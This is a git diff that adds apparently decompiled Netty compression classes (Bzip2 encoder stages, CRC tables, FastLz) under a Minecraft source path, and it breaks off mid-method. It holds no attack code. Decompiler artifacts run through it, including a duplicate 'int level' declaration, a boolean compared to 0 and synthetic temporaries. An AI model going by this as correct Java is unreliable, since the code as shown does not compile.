+    int mtfAlphabetSize = this.mtfAlphabetSize;
+    
+    int totalTables = huffmanCodeLengths.length;
+    
+    int remainingLength = mtfLength;
+    int lowCostEnd = -1;
+    
+    for (int i = 0; i < totalTables; i++)
+    {
+      int targetCumulativeFrequency = remainingLength / (totalTables - i);
+      int lowCostStart = lowCostEnd + 1;
+      int actualCumulativeFrequency = 0;
+      
+      while ((actualCumulativeFrequency < targetCumulativeFrequency) && (lowCostEnd < mtfAlphabetSize - 1)) {
+        actualCumulativeFrequency += mtfSymbolFrequencies[(++lowCostEnd)];
+      }
+      
+      if ((lowCostEnd > lowCostStart) && (i != 0) && (i != totalTables - 1) && ((totalTables - i & 0x1) == 0)) {
+        actualCumulativeFrequency -= mtfSymbolFrequencies[(lowCostEnd--)];
+      }
+      
+      int[] tableCodeLengths = huffmanCodeLengths[i];
+      for (int j = 0; j < mtfAlphabetSize; j++) {
+        if ((j < lowCostStart) || (j > lowCostEnd)) {
+          tableCodeLengths[j] = 15;
+        }
+      }
+      
+      remainingLength -= actualCumulativeFrequency;
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void optimiseSelectorsAndHuffmanTables(boolean storeSelectors)
+  {
+    char[] mtfBlock = this.mtfBlock;
+    byte[] selectors = this.selectors;
+    int[][] huffmanCodeLengths = this.huffmanCodeLengths;
+    int mtfLength = this.mtfLength;
+    int mtfAlphabetSize = this.mtfAlphabetSize;
+    
+    int totalTables = huffmanCodeLengths.length;
+    int[][] tableFrequencies = new int[totalTables][mtfAlphabetSize];
+    
+    int selectorIndex = 0;
+    
+
+    for (int groupStart = 0; groupStart < mtfLength;)
+    {
+      int groupEnd = Math.min(groupStart + 50, mtfLength) - 1;
+      
+
+      short[] cost = new short[totalTables];
+      for (int i = groupStart; i <= groupEnd; i++) {
+        int value = mtfBlock[i];
+        for (int j = 0; j < totalTables; j++) {
+          int tmp107_105 = j; short[] tmp107_103 = cost;tmp107_103[tmp107_105] = ((short)(tmp107_103[tmp107_105] + huffmanCodeLengths[j][value]));
+        }
+      }
+      
+
+      byte bestTable = 0;
+      int bestCost = cost[0];
+      for (byte i = 1; i < totalTables; i = (byte)(i + 1)) {
+        int tableCost = cost[i];
+        if (tableCost < bestCost) {
+          bestCost = tableCost;
+          bestTable = i;
+        }
+      }
+      
+
+      int[] bestGroupFrequencies = tableFrequencies[bestTable];
+      for (int i = groupStart; i <= groupEnd; i++) {
+        bestGroupFrequencies[mtfBlock[i]] += 1;
+      }
+      
+
+      if (storeSelectors) {
+        selectors[(selectorIndex++)] = bestTable;
+      }
+      groupStart = groupEnd + 1;
+    }
+    
+
+    for (int i = 0; i < totalTables; i++) {
+      generateHuffmanCodeLengths(mtfAlphabetSize, tableFrequencies[i], huffmanCodeLengths[i]);
+    }
+  }
+  
+
+
+  private void assignHuffmanCodeSymbols()
+  {
+    int[][] huffmanMergedCodeSymbols = this.huffmanMergedCodeSymbols;
+    int[][] huffmanCodeLengths = this.huffmanCodeLengths;
+    int mtfAlphabetSize = this.mtfAlphabetSize;
+    
+    int totalTables = huffmanCodeLengths.length;
+    
+    for (int i = 0; i < totalTables; i++) {
+      int[] tableLengths = huffmanCodeLengths[i];
+      
+      int minimumLength = 32;
+      int maximumLength = 0;
+      for (int j = 0; j < mtfAlphabetSize; j++) {
+        int length = tableLengths[j];
+        if (length > maximumLength) {
+          maximumLength = length;
+        }
+        if (length < minimumLength) {
+          minimumLength = length;
+        }
+      }
+      
+      int code = 0;
+      for (int j = minimumLength; j <= maximumLength; j++) {
+        for (int k = 0; k < mtfAlphabetSize; k++) {
+          if ((huffmanCodeLengths[i][k] & 0xFF) == j) {
+            huffmanMergedCodeSymbols[i][k] = (j << 24 | code);
+            code++;
+          }
+        }
+        code <<= 1;
+      }
+    }
+  }
+  
+
+
+  private void writeSelectorsAndHuffmanTables(ByteBuf out)
+  {
+    Bzip2BitWriter writer = this.writer;
+    byte[] selectors = this.selectors;
+    int totalSelectors = selectors.length;
+    int[][] huffmanCodeLengths = this.huffmanCodeLengths;
+    int totalTables = huffmanCodeLengths.length;
+    int mtfAlphabetSize = this.mtfAlphabetSize;
+    
+    writer.writeBits(out, 3, totalTables);
+    writer.writeBits(out, 15, totalSelectors);
+    
+
+    Bzip2MoveToFrontTable selectorMTF = new Bzip2MoveToFrontTable();
+    for (byte selector : selectors) {
+      writer.writeUnary(out, selectorMTF.valueToFront(selector));
+    }
+    
+
+    for (int[] tableLengths : huffmanCodeLengths) {
+      int currentLength = tableLengths[0];
+      
+      writer.writeBits(out, 5, currentLength);
+      
+      for (int j = 0; j < mtfAlphabetSize; j++) {
+        int codeLength = tableLengths[j];
+        int value = currentLength < codeLength ? 2 : 3;
+        int delta = Math.abs(codeLength - currentLength);
+        while (delta-- > 0) {
+          writer.writeBits(out, 2, value);
+        }
+        writer.writeBoolean(out, false);
+        currentLength = codeLength;
+      }
+    }
+  }
+  
+
+
+  private void writeBlockData(ByteBuf out)
+  {
+    Bzip2BitWriter writer = this.writer;
+    int[][] huffmanMergedCodeSymbols = this.huffmanMergedCodeSymbols;
+    byte[] selectors = this.selectors;
+    char[] mtf = mtfBlock;
+    int mtfLength = this.mtfLength;
+    
+    int selectorIndex = 0;
+    for (int mtfIndex = 0; mtfIndex < mtfLength;) {
+      int groupEnd = Math.min(mtfIndex + 50, mtfLength) - 1;
+      int[] tableMergedCodeSymbols = huffmanMergedCodeSymbols[selectors[(selectorIndex++)]];
+      
+      while (mtfIndex <= groupEnd) {
+        int mergedCodeSymbol = tableMergedCodeSymbols[mtf[(mtfIndex++)]];
+        writer.writeBits(out, mergedCodeSymbol >>> 24, mergedCodeSymbol);
+      }
+    }
+  }
+  
+
+
+
+  void encode(ByteBuf out)
+  {
+    generateHuffmanOptimisationSeeds();
+    for (int i = 3; i >= 0; i--) {
+      optimiseSelectorsAndHuffmanTables(i == 0);
+    }
+    assignHuffmanCodeSymbols();
+    
+
+    writeSelectorsAndHuffmanTables(out);
+    writeBlockData(out);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/Bzip2MTFAndRLE2StageEncoder.java b/src/minecraft/io/netty/handler/codec/compression/Bzip2MTFAndRLE2StageEncoder.java
new file mode 100644
index 0000000..7208d96
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/Bzip2MTFAndRLE2StageEncoder.java
@@ -0,0 +1,183 @@
+package io.netty.handler.codec.compression;
+
+
+
+
+
+
+
+
+
+final class Bzip2MTFAndRLE2StageEncoder
+{
+  private final int[] bwtBlock;
+  
+
+
+
+
+
+
+
+  private final int bwtLength;
+  
+
+
+
+
+
+
+
+  private final boolean[] bwtValuesPresent;
+  
+
+
+
+
+
+
+  private final char[] mtfBlock;
+  
+
+
+
+
+
+
+  private int mtfLength;
+  
+
+
+
+
+
+
+  private final int[] mtfSymbolFrequencies = new int['Ă'];
+  
+
+
+
+
+  private int alphabetSize;
+  
+
+
+
+
+  Bzip2MTFAndRLE2StageEncoder(int[] bwtBlock, int bwtLength, boolean[] bwtValuesPresent)
+  {
+    this.bwtBlock = bwtBlock;
+    this.bwtLength = bwtLength;
+    this.bwtValuesPresent = bwtValuesPresent;
+    mtfBlock = new char[bwtLength + 1];
+  }
+  
+
+
+  void encode()
+  {
+    int bwtLength = this.bwtLength;
+    boolean[] bwtValuesPresent = this.bwtValuesPresent;
+    int[] bwtBlock = this.bwtBlock;
+    char[] mtfBlock = this.mtfBlock;
+    int[] mtfSymbolFrequencies = this.mtfSymbolFrequencies;
+    byte[] huffmanSymbolMap = new byte['Ā'];
+    Bzip2MoveToFrontTable symbolMTF = new Bzip2MoveToFrontTable();
+    
+    int totalUniqueValues = 0;
+    for (int i = 0; i < huffmanSymbolMap.length; i++) {
+      if (bwtValuesPresent[i] != 0) {
+        huffmanSymbolMap[i] = ((byte)totalUniqueValues++);
+      }
+    }
+    int endOfBlockSymbol = totalUniqueValues + 1;
+    
+    int mtfIndex = 0;
+    int repeatCount = 0;
+    int totalRunAs = 0;
+    int totalRunBs = 0;
+    for (int i = 0; i < bwtLength; i++)
+    {
+      int mtfPosition = symbolMTF.valueToFront(huffmanSymbolMap[(bwtBlock[i] & 0xFF)]);
+      
+      if (mtfPosition == 0) {
+        repeatCount++;
+      } else {
+        if (repeatCount > 0) {
+          repeatCount--;
+          for (;;) {
+            if ((repeatCount & 0x1) == 0) {
+              mtfBlock[(mtfIndex++)] = '\000';
+              totalRunAs++;
+            } else {
+              mtfBlock[(mtfIndex++)] = '\001';
+              totalRunBs++;
+            }
+            
+            if (repeatCount <= 1) {
+              break;
+            }
+            repeatCount = repeatCount - 2 >>> 1;
+          }
+          repeatCount = 0;
+        }
+        mtfBlock[(mtfIndex++)] = ((char)(mtfPosition + 1));
+        mtfSymbolFrequencies[(mtfPosition + 1)] += 1;
+      }
+    }
+    
+    if (repeatCount > 0) {
+      repeatCount--;
+      for (;;) {
+        if ((repeatCount & 0x1) == 0) {
+          mtfBlock[(mtfIndex++)] = '\000';
+          totalRunAs++;
+        } else {
+          mtfBlock[(mtfIndex++)] = '\001';
+          totalRunBs++;
+        }
+        
+        if (repeatCount <= 1) {
+          break;
+        }
+        repeatCount = repeatCount - 2 >>> 1;
+      }
+    }
+    
+    mtfBlock[mtfIndex] = ((char)endOfBlockSymbol);
+    mtfSymbolFrequencies[endOfBlockSymbol] += 1;
+    mtfSymbolFrequencies[0] += totalRunAs;
+    mtfSymbolFrequencies[1] += totalRunBs;
+    
+    mtfLength = (mtfIndex + 1);
+    alphabetSize = (endOfBlockSymbol + 1);
+  }
+  
+
+
+  char[] mtfBlock()
+  {
+    return mtfBlock;
+  }
+  
+
+
+  int mtfLength()
+  {
+    return mtfLength;
+  }
+  
+
+
+  int mtfAlphabetSize()
+  {
+    return alphabetSize;
+  }
+  
+
+
+  int[] mtfSymbolFrequencies()
+  {
+    return mtfSymbolFrequencies;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/Bzip2MoveToFrontTable.java b/src/minecraft/io/netty/handler/codec/compression/Bzip2MoveToFrontTable.java
new file mode 100644
index 0000000..84c1f38
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/Bzip2MoveToFrontTable.java
@@ -0,0 +1,84 @@
+package io.netty.handler.codec.compression;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class Bzip2MoveToFrontTable
+{
+  private final byte[] mtf = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, Byte.MAX_VALUE, Byte.MIN_VALUE, -127, -126, -125, -124, -123, -122, -121, -120, -119, -118, -117, -116, -115, -114, -113, -112, -111, -110, -109, -108, -107, -106, -105, -104, -103, -102, -101, -100, -99, -98, -97, -96, -95, -94, -93, -92, -91, -90, -89, -88, -87, -86, -85, -84, -83, -82, -81, -80, -79, -78, -77, -76, -75, -74, -73, -72, -71, -70, -69, -68, -67, -66, -65, -64, -63, -62, -61, -60, -59, -58, -57, -56, -55, -54, -53, -52, -51, -50, -49, -48, -47, -46, -45, -44, -43, -42, -41, -40, -39, -38, -37, -36, -35, -34, -33, -32, -31, -30, -29, -28, -27, -26, -25, -24, -23, -22, -21, -20, -19, -18, -17, -16, -15, -14, -13, -12, -11, -10, -9, -8, -7, -6, -5, -4, -3, -2, -1 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  Bzip2MoveToFrontTable() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  int valueToFront(byte value)
+  {
+    int index = 0;
+    byte temp = mtf[0];
+    if (value != temp) {
+      mtf[0] = value;
+      while (value != temp) {
+        index++;
+        byte temp2 = temp;
+        temp = mtf[index];
+        mtf[index] = temp2;
+      }
+    }
+    return index;
+  }
+  
+
+
+
+
+  byte indexToFront(int index)
+  {
+    byte value = mtf[index];
+    System.arraycopy(mtf, 0, mtf, 1, index);
+    mtf[0] = value;
+    
+    return value;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/Bzip2Rand.java b/src/minecraft/io/netty/handler/codec/compression/Bzip2Rand.java
new file mode 100644
index 0000000..308583e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/Bzip2Rand.java
@@ -0,0 +1,77 @@
+package io.netty.handler.codec.compression;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class Bzip2Rand
+{
+  private static final int[] RNUMS = { 619, 720, 127, 481, 931, 816, 813, 233, 566, 247, 985, 724, 205, 454, 863, 491, 741, 242, 949, 214, 733, 859, 335, 708, 621, 574, 73, 654, 730, 472, 419, 436, 278, 496, 867, 210, 399, 680, 480, 51, 878, 465, 811, 169, 869, 675, 611, 697, 867, 561, 862, 687, 507, 283, 482, 129, 807, 591, 733, 623, 150, 238, 59, 379, 684, 877, 625, 169, 643, 105, 170, 607, 520, 932, 727, 476, 693, 425, 174, 647, 73, 122, 335, 530, 442, 853, 695, 249, 445, 515, 909, 545, 703, 919, 874, 474, 882, 500, 594, 612, 641, 801, 220, 162, 819, 984, 589, 513, 495, 799, 161, 604, 958, 533, 221, 400, 386, 867, 600, 782, 382, 596, 414, 171, 516, 375, 682, 485, 911, 276, 98, 553, 163, 354, 666, 933, 424, 341, 533, 870, 227, 730, 475, 186, 263, 647, 537, 686, 600, 224, 469, 68, 770, 919, 190, 373, 294, 822, 808, 206, 184, 943, 795, 384, 383, 461, 404, 758, 839, 887, 715, 67, 618, 276, 204, 918, 873, 777, 604, 560, 951, 160, 578, 722, 79, 804, 96, 409, 713, 940, 652, 934, 970, 447, 318, 353, 859, 672, 112, 785, 645, 863, 803, 350, 139, 93, 354, 99, 820, 908, 609, 772, 154, 274, 580, 184, 79, 626, 630, 742, 653, 282, 762, 623, 680, 81, 927, 626, 789, 125, 411, 521, 938, 300, 821, 78, 343, 175, 128, 250, 170, 774, 972, 275, 999, 639, 495, 78, 352, 126, 857, 956, 358, 619, 580, 124, 737, 594, 701, 612, 669, 112, 134, 694, 363, 992, 809, 743, 168, 974, 944, 375, 748, 52, 600, 747, 642, 182, 862, 81, 344, 805, 988, 739, 511, 655, 814, 334, 249, 515, 897, 955, 664, 981, 649, 113, 974, 459, 893, 228, 433, 837, 553, 268, 926, 240, 102, 654, 459, 51, 686, 754, 806, 760, 493, 403, 415, 394, 687, 700, 946, 670, 656, 610, 738, 392, 760, 799, 887, 653, 978, 321, 576, 617, 626, 502, 894, 679, 243, 440, 680, 879, 194, 572, 640, 724, 926, 56, 204, 700, 707, 151, 457, 449, 797, 195, 791, 558, 945, 679, 297, 59, 87, 824, 713, 663, 412, 693, 342, 606, 134, 108, 571, 364, 631, 212, 174, 643, 304, 329, 343, 97, 430, 751, 497, 314, 983, 374, 822, 928, 140, 206, 73, 263, 980, 736, 876, 478, 430, 305, 170, 514, 364, 692, 829, 82, 855, 953, 676, 246, 369, 970, 294, 750, 807, 827, 150, 790, 288, 923, 804, 378, 215, 828, 592, 281, 565, 555, 710, 82, 896, 831, 547, 261, 524, 462, 293, 465, 502, 56, 661, 821, 976, 991, 658, 869, 905, 758, 745, 193, 768, 550, 608, 933, 378, 286, 215, 979, 792, 961, 61, 688, 793, 644, 986, 403, 106, 366, 905, 644, 372, 567, 466, 434, 645, 210, 389, 550, 919, 135, 780, 773, 635, 389, 707, 100, 626, 958, 165, 504, 920, 176, 193, 713, 857, 265, 203, 50, 668, 108, 645, 990, 626, 197, 510, 357, 358, 850, 858, 364, 936, 638 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static int rNums(int i)
+  {
+    return RNUMS[i];
+  }
+  
+  private Bzip2Rand() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/CompressionException.java b/src/minecraft/io/netty/handler/codec/compression/CompressionException.java
new file mode 100644
index 0000000..2f1b08a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/CompressionException.java
@@ -0,0 +1,53 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.handler.codec.EncoderException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CompressionException
+  extends EncoderException
+{
+  private static final long serialVersionUID = 5603413481274811897L;
+  
+  public CompressionException() {}
+  
+  public CompressionException(String message, Throwable cause)
+  {
+    super(message, cause);
+  }
+  
+
+
+  public CompressionException(String message)
+  {
+    super(message);
+  }
+  
+
+
+  public CompressionException(Throwable cause)
+  {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/CompressionUtil.java b/src/minecraft/io/netty/handler/codec/compression/CompressionUtil.java
new file mode 100644
index 0000000..798095e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/CompressionUtil.java
@@ -0,0 +1,42 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.buffer.ByteBuf;
+import java.nio.ByteBuffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class CompressionUtil
+{
+  private CompressionUtil() {}
+  
+  static void checkChecksum(ByteBufChecksum checksum, ByteBuf uncompressed, int currentChecksum)
+  {
+    checksum.reset();
+    checksum.update(uncompressed, uncompressed.readerIndex(), uncompressed.readableBytes());
+    
+
+    int checksumResult = (int)checksum.getValue();
+    if (checksumResult != currentChecksum) {
+      throw new DecompressionException(String.format("stream corrupted: mismatching checksum: %d (expected: %d)", new Object[] { Integer.valueOf(checksumResult), Integer.valueOf(currentChecksum) }));
+    }
+  }
+  
+
+  static ByteBuffer safeNioBuffer(ByteBuf buffer)
+  {
+    return buffer.nioBufferCount() == 1 ? buffer.internalNioBuffer(buffer.readerIndex(), buffer.readableBytes()) : buffer.nioBuffer();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/Crc32.java b/src/minecraft/io/netty/handler/codec/compression/Crc32.java
new file mode 100644
index 0000000..91ba7c2
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/Crc32.java
@@ -0,0 +1,123 @@
+package io.netty.handler.codec.compression;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class Crc32
+{
+  private static final int[] crc32Table = { 0, 79764919, 159529838, 222504665, 319059676, 398814059, 445009330, 507990021, 638119352, 583659535, 797628118, 726387553, 890018660, 835552979, 1015980042, 944750013, 1276238704, 1221641927, 1167319070, 1095957929, 1595256236, 1540665371, 1452775106, 1381403509, 1780037320, 1859660671, 1671105958, 1733955601, 2031960084, 2111593891, 1889500026, 1952343757, -1742489888, -1662866601, -1851683442, -1788833735, -1960329156, -1880695413, -2103051438, -2040207643, -1104454824, -1159051537, -1213636554, -1284997759, -1389417084, -1444007885, -1532160278, -1603531939, -734892656, -789352409, -575645954, -646886583, -952755380, -1007220997, -827056094, -898286187, -231047128, -151282273, -71779514, -8804623, -515967244, -436212925, -390279782, -327299027, 881225847, 809987520, 1023691545, 969234094, 662832811, 591600412, 771767749, 717299826, 311336399, 374308984, 453813921, 533576470, 25881363, 88864420, 134795389, 214552010, 2023205639, 2086057648, 1897238633, 1976864222, 1804852699, 1867694188, 1645340341, 1724971778, 1587496639, 1516133128, 1461550545, 1406951526, 1302016099, 1230646740, 1142491917, 1087903418, -1398421865, -1469785312, -1524105735, -1578704818, -1079922613, -1151291908, -1239184603, -1293773166, -1968362705, -1905510760, -2094067647, -2014441994, -1716953613, -1654112188, -1876203875, -1796572374, -525066777, -462094256, -382327159, -302564546, -206542021, -143559028, -97365931, -17609246, -960696225, -1031934488, -817968335, -872425850, -709327229, -780559564, -600130067, -654598054, 1762451694, 1842216281, 1619975040, 1682949687, 2047383090, 2127137669, 1938468188, 2001449195, 1325665622, 1271206113, 1183200824, 1111960463, 1543535498, 1489069629, 1434599652, 1363369299, 622672798, 568075817, 748617968, 677256519, 907627842, 853037301, 1067152940, 995781531, 51762726, 131386257, 177728840, 240578815, 269590778, 349224269, 429104020, 491947555, -248556018, -168932423, -122852000, -60002089, -500490030, -420856475, -341238852, -278395381, -685261898, -739858943, -559578920, -630940305, -1004286614, -1058877219, -845023740, -916395085, -1119974018, -1174433591, -1262701040, -1333941337, -1371866206, -1426332139, -1481064244, -1552294533, -1690935098, -1611170447, -1833673816, -1770699233, -2009983462, -1930228819, -2119160460, -2056179517, 1569362073, 1498123566, 1409854455, 1355396672, 1317987909, 1246755826, 1192025387, 1137557660, 2072149281, 2135122070, 1912620623, 1992383480, 1753615357, 1816598090, 1627664531, 1707420964, 295390185, 358241886, 404320391, 483945776, 43990325, 106832002, 186451547, 266083308, 932423249, 861060070, 1041341759, 986742920, 613929101, 542559546, 756411363, 701822548, -978770311, -1050133554, -869589737, -924188512, -693284699, -764654318, -550540341, -605129092, -475935807, -413084042, -366743377, -287118056, -257573603, -194731862, -114850189, -35218492, -1984365303, -1921392450, -2143631769, -2063868976, -1698919467, -1635936670, -1824608069, -1744851700, -1347415887, -1418654458, -1506661409, -1561119128, -1129027987, -1200260134, -1254728445, -1309196108 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int crc = -1;
+  
+  Crc32() {}
+  
+  public int getCRC()
+  {
+    return crc ^ 0xFFFFFFFF;
+  }
+  
+
+
+
+  public void updateCRC(int value)
+  {
+    int crc = this.crc;
+    this.crc = (crc << 8 ^ crc32Table[((crc >> 24 ^ value) & 0xFF)]);
+  }
+  
+
+
+
+
+  public void updateCRC(int value, int count)
+  {
+    while (count-- > 0) {
+      updateCRC(value);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/Crc32c.java b/src/minecraft/io/netty/handler/codec/compression/Crc32c.java
new file mode 100644
index 0000000..5aa4ee8
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/Crc32c.java
@@ -0,0 +1,126 @@
+package io.netty.handler.codec.compression;
+
+import java.util.zip.Checksum;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class Crc32c
+  implements Checksum
+{
+  private static final int[] CRC_TABLE = { 0, -227835133, -516198153, 324072436, -946170081, 904991772, 648144872, -724933397, -1965467441, 2024987596, 1809983544, -1719030981, 1296289744, -1087877933, -1401372889, 1578318884, 274646895, -499825556, -244992104, 51262619, -675000208, 632279923, 922689671, -996891772, -1702387808, 1760304291, 2075979607, -1982370732, 1562183871, -1351185476, -1138329528, 1313733451, 549293790, -757723683, -1048117719, 871202090, -416867903, 357341890, 102525238, -193467851, -1436232175, 1477399826, 1264559846, -1187764763, 1845379342, -1617575411, -1933233671, 2125378298, 820201905, -1031222606, -774358714, 598981189, -143008082, 85089709, 373468761, -467063462, -1170599554, 1213305469, 1526817161, -1452612982, 2107672161, -1882520222, -1667500394, 1861252501, 1098587580, -1290756417, -1606390453, 1378610760, -2032039261, 1955203488, 1742404180, -1783531177, -878557837, 969524848, 714683780, -655182201, 205050476, -28094097, -318528869, 526918040, 1361435347, -1555146288, -1340167644, 1114974503, -1765847604, 1691668175, 2005155131, -2047885768, -604208612, 697762079, 986182379, -928222744, 476452099, -301099520, -44210700, 255256311, 1640403810, -1817374623, -2130844779, 1922457750, -1503918979, 1412925310, 1197962378, -1257441399, -350237779, 427051182, 170179418, -129025959, 746937522, -554770511, -843174843, 1070968646, 1905808397, -2081171698, -1868356358, 1657317369, -1241332974, 1147748369, 1463399397, -1521340186, -79622974, 153784257, 444234805, -401473738, 1021025245, -827320098, -572462294, 797665321, -2097792136, 1889384571, 1674398607, -1851340660, 1164749927, -1224265884, -1537745776, 1446797203, 137323447, -96149324, -384560320, 461344835, -810158936, 1037989803, 781091935, -588970148, -1834419177, 1623424788, 1939049696, -2114449437, 1429367560, -1487280117, -1274471425, 1180866812, 410100952, -367384613, -112536529, 186734380, -538233913, 763408580, 1053836080, -860110797, -1572096602, 1344288421, 1131464017, -1323612590, 1708204729, -1749376582, -2065018290, 1988219213, 680717673, -621187478, -911630946, 1002577565, -284657034, 493091189, 238226049, -61306494, -1307217207, 1082061258, 1395524158, -1589280451, 1972364758, -2015074603, -1800104671, 1725896226, 952904198, -894981883, -638100751, 731699698, -11092711, 222117402, 510512622, -335130899, -1014159676, 837199303, 582374963, -790768336, 68661723, -159632680, -450051796, 390545967, 1230274059, -1153434360, -1469116676, 1510247935, -1899042540, 2091215383, 1878366691, -1650582816, -741088853, 565732008, 854102364, -1065151905, 340358836, -433916489, -177076669, 119113024, 1493875044, -1419691417, -1204696685, 1247431312, -1634718085, 1828433272, 2141937292, -1916740209, -483350502, 291187481, 34330861, -262120466, 615137029, -691946490, -980332558, 939183345, 1776939221, -1685949482, -1999470558, 2058945313, -1368168502, 1545135305, 1330124605, -1121741762, -210866315, 17165430, 307568514, -532767615, 888469610, -962626711, -707819363, 665062302, 2042050490, -1948470087, -1735637171, 1793573966, -1104306011, 1279665062, 1595330642, -1384295599 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final long LONG_MASK = 4294967295L;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final int BYTE_MASK = 255;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int crc = -1;
+  
+  Crc32c() {}
+  
+  public void update(int b) { crc = crc32c(crc, b); }
+  
+
+  public void update(byte[] buffer, int offset, int length)
+  {
+    for (int i = offset; i < offset + length; i++) {
+      crc = crc32c(crc, buffer[i]);
+    }
+  }
+  
+  public long getValue()
+  {
+    return (crc ^ 0xFFFFFFFF) & 0xFFFFFFFF;
+  }
+  
+  public void reset()
+  {
+    crc = -1;
+  }
+  
+  private static int crc32c(int crc, int b) {
+    return crc >>> 8 ^ CRC_TABLE[((crc ^ b & 0xFF) & 0xFF)];
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/DecompressionException.java b/src/minecraft/io/netty/handler/codec/compression/DecompressionException.java
new file mode 100644
index 0000000..a10f4d0
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/DecompressionException.java
@@ -0,0 +1,53 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.handler.codec.DecoderException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DecompressionException
+  extends DecoderException
+{
+  private static final long serialVersionUID = 3546272712208105199L;
+  
+  public DecompressionException() {}
+  
+  public DecompressionException(String message, Throwable cause)
+  {
+    super(message, cause);
+  }
+  
+
+
+  public DecompressionException(String message)
+  {
+    super(message);
+  }
+  
+
+
+  public DecompressionException(Throwable cause)
+  {
+    super(cause);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/FastLz.java b/src/minecraft/io/netty/handler/codec/compression/FastLz.java
new file mode 100644
index 0000000..f05a58d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/FastLz.java
@@ -0,0 +1,575 @@
+package io.netty.handler.codec.compression;
+
+
+
+
+final class FastLz
+{
+  private static final int MAX_DISTANCE = 8191;
+  
+
+
+  private static final int MAX_FARDISTANCE = 73725;
+  
+
+
+  private static final int HASH_LOG = 13;
+  
+
+
+  private static final int HASH_SIZE = 8192;
+  
+
+
+  private static final int HASH_MASK = 8191;
+  
+
+
+  private static final int MAX_COPY = 32;
+  
+
+
+  private static final int MAX_LEN = 264;
+  
+
+
+  private static final int MIN_RECOMENDED_LENGTH_FOR_LEVEL_2 = 65536;
+  
+
+
+  static final int MAGIC_NUMBER = 4607066;
+  
+
+
+  static final byte BLOCK_TYPE_NON_COMPRESSED = 0;
+  
+
+
+  static final byte BLOCK_TYPE_COMPRESSED = 1;
+  
+
+
+  static final byte BLOCK_WITHOUT_CHECKSUM = 0;
+  
+
+
+  static final byte BLOCK_WITH_CHECKSUM = 16;
+  
+
+  static final int OPTIONS_OFFSET = 3;
+  
+
+  static final int CHECKSUM_OFFSET = 4;
+  
+
+  static final int MAX_CHUNK_LENGTH = 65535;
+  
+
+  static final int MIN_LENGTH_TO_COMPRESSION = 32;
+  
+
+  static final int LEVEL_AUTO = 0;
+  
+
+  static final int LEVEL_1 = 1;
+  
+
+  static final int LEVEL_2 = 2;
+  
+
+
+  static int calculateOutputBufferLength(int inputLength)
+  {
+    int outputLength = (int)(inputLength * 1.06D);
+    return Math.max(outputLength, 66);
+  }
+  
+
+
+  static int compress(byte[] input, int inOffset, int inLength, byte[] output, int outOffset, int proposedLevel)
+  {
+    int level;
+    
+
+    int level;
+    
+    if (proposedLevel == 0) {
+      level = inLength < 65536 ? 1 : 2;
+    } else {
+      level = proposedLevel;
+    }
+    
+    int ip = 0;
+    int ipBound = ip + inLength - 2;
+    int ipLimit = ip + inLength - 12;
+    
+    int op = 0;
+    
+
+    int[] htab = new int[' '];
+    
+
+
+
+
+
+
+
+
+
+    if (inLength < 4) {
+      if (inLength != 0)
+      {
